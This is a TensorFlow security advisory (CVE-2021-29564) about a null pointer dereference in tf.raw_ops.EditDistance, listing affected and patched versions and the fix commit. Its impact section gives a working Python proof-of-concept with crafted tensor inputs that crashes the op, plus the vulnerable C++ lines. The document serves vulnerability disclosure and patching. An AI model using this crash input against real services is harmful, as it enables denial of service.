GHSA-75f6-78jr-4656
Null pointer dereference in `EditDistance`
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | tensorflow | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow | >= 2.4.0, < 2.4.2 | 2.4.2 |
| PyPI | tensorflow-cpu | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow-cpu | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow-cpu | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow-cpu | >= 2.4.0, < 2.4.2 | 2.4.2 |
| PyPI | tensorflow-gpu | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow-gpu | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow-gpu | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow-gpu | >= 2.4.0, < 2.4.2 | 2.4.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`:
```python
import tensorflow as tf
hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)
truth_values = tf.constant([], shape=[0], dtype=tf.float32)
truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
tf.raw_ops.EditDistance(
hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,
hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,
truth_values=truth_values, truth_shape=truth_shape, normalize=True)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/79865b542f9ffdc9caeb255631f7c56f1d4b6517/tensorflow/core/kernels/edit_distance_op.cc#L103-L159) has incomplete validation of the input parameters.
In the above scenario, an attacker causes an allocation of an empty tensor for the output:
```cc
OP_REQUIRES_OK(ctx, ctx->allocate_output("output", output_shape, &output));
auto output_t = output->flat<float>();
output_t.setZero();
```
Because `output_shape` has 0 elements, the result of `output->flat<T>()` has an empty buffer, so calling `setZero` would result in a null dereference.
### Patches
We have patched the issue in GitHub commit [f4c364a5d6880557f6f5b6eb5cee2c407f0186b3](https://github.com/tensorflow/tensorflow/commit/f4c364a5d6880557f6f5b6eb5cee2c407f0186b3).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-75f6-78jr-4656
- https://nvd.nist.gov/vuln/detail/CVE-2021-29564
- https://github.com/tensorflow/tensorflow/commit/f4c364a5d6880557f6f5b6eb5cee2c407f0186b3
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-492.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-690.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-201.yaml
- https://github.com/tensorflow/tensorflow